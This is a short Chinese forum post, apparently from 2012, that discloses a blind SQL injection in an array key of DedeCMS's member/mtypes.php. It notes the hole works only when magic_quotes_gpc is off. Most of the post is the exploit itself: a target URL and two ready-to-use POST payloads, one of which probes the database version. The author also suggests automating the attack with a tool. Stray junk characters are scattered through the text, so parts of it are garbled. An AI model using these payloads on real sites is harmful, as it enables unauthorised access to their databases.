需要magic_quotes_gpc = Off,所以说是鸡肋啊.0 t, F" U- E9 u8 p
7 B& r- X% P+ d5 x( k5 R ) |: \& c3 I9 Q% ?8 Z; C
发生在数组key里的注射漏洞,有点意思.
5 D, T; x' F& I. z4 k; P
9 l: C3 i6 ?/ G* y" {0 k, e( V这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下) |3 h* @6 b6 K# V- O X4 F* z
# F: j! _" [' h# u- F- x# \
http://www.xxx.com /dede/member/mtypes.php?dopost=save
& P" n2 y; Y) f+ T( u
% p$ N" n6 i. L" F0 ?2 z* Aexploit:0 v- D0 X- ]3 @5 s
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
$ N. `4 M2 C" j" J7 _' Vmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r8 Y5 |3 l% j+ S( v1 }* A4 T+ g$ b
|
发表于 2012-12-20 08:08:09
收藏
支持
反对